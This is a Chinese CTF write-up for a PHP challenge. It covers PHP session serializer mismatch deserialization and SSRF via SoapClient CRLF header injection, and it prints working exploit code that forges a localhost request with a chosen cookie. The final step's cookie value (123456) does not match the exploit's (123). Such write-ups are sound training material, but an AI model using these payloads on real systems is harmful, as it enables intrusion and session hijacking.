文章目录
- 前置知识
- call_user_func()函数
- session反序列化
- PHP原生类SoapClient
- 解题步骤
前置知识
call_user_func()函数
把第一个参数作为回调函数调用
eg:通过函数的方式回调
<?php function barber($type){echo "you wanted a $type haircut, no problem\n";}call_user_func('barber','mushroom');
若调用类中的静态方法
结构为call_user_func(array("nss","ctf"))
class nss{static function ctf(){include("./hint2.php");}
}
解释:使用 call_user_func()
函数时,需要传递一个数组作为第一个参数。数组的第一个元素是类名,第二个元素是要调用的静态方法名。
session反序列化
我们先通过一个样例代码,看看3种不同的 session 序列化处理器处理 session 的情况。
<?php
session_start();
$_SESSION['name'] = 'mochazz';
?>
当 session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}
当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";
而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞
php引擎会以|
作为作为key和value的分隔符,我们在传入内容的时候,比如传入
$_SESSION['name'] = '|username'
那么使用php_serialize引擎时可以得到序列化内容
a:1:{s:4:"name";s:9:"|username";}
然后用php引擎反序列化时,|被当做分隔符,于是
a:1:{s:4:"name";s:9:"
被当作key
username
被当做vaule进行反序列化
于是,我们只要传入下面结构即可触发漏洞
$_SESSION['name'] = |序列化内容
PHP原生类SoapClient
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
- 通过调用SoapClient不存在的方法,触发SoapClient的__call魔术方法
- 通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
由于其内置类有__call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中(结合CRLF注入)
示例如下
<?php
$target = 'http://127.0.0.1/flag.php'; //SSRF
$post_string = 'token=ctfshow'; //要post的命令
$ua="ctfshow\r\nCookie:PHPSESSID=123456\r\n";
$a=new SoapClient(null, array('uri'=>'http://127.0.0.1/','location'=>$target,'user_agent'=>$ua));
echo urlencode(serialize($a));
可ssrf伪造为
user_agent:ctfshow
Cookie:PHPSESSID=123456
解题步骤
打开题目,源码如下
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
可以发现启用了session_start()
,并且存在session反序列化漏洞,然后取session的第一项与welcome_to_the_lctf2018
构成数组,进行implode函数拼接
我们扫描一下目录,发现有flag.php,直接访问得到提示
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){$_SESSION['flag'] = $flag;}
only localhost can get flag!
说明我们要伪造ip,这里我们便可以利用 SoapClient 类的 __call 方法来进行 SSRF
思路就是利用SoapClient 类构造出ssrf的序列化字符串,然后利用call_user_func修改配置,造成序列化与反序列化引擎不同的漏洞,然后调用extract函数去变量覆盖,调用SoapClient类,从而触发__call 方法
第一步:由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header ,构造 SoapClient 类,并用php_serialize引擎进行序列化,存入session
PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session的配置项。这个特性也引入了一个新的 php.ini 设置(session.lazy_write)
我们可以利用回调函数,通过给f传参,值为session_start,然后post提交array(‘serialize_handler’=>‘php_serialize’)
即达到session_start(array(‘serialize_handler’ => ‘php_serialize’)) ,将会根据php7特性设置session.serialize_handler=php_serialize。而又因为session是可控的,可以通过传入name值,任意伪造。这里就想到name传入的是序列化值了
exp构造如下
<?php
$target = 'http://127.0.0.1/flag.php'; //SSRF
$ua="ctfshow\r\nCookie:PHPSESSID=123\r\n";
$a=new SoapClient(null, array('uri'=>'http://127.0.0.1/','location'=>$target,'user_agent'=>$ua));
echo "|".urlencode(serialize($a));
然后bp抓包,修改参数值
实现session伪造,然后就是调用extract函数变量覆盖题目的implode函数,使得再次调用call_user_func函数,构造出下面命令
call_user_func(array("SoapClient","welcome_to_the_lctf2018"))
然后成功调用__call
方法,从而发送 HTTP 和 HTTPS 请求进行ssrf
最后直接在index.php处用cookie值123456即可
(因为该cookie是我们ssrf伪造的,所以cookie对应的是请求127.0.0.1)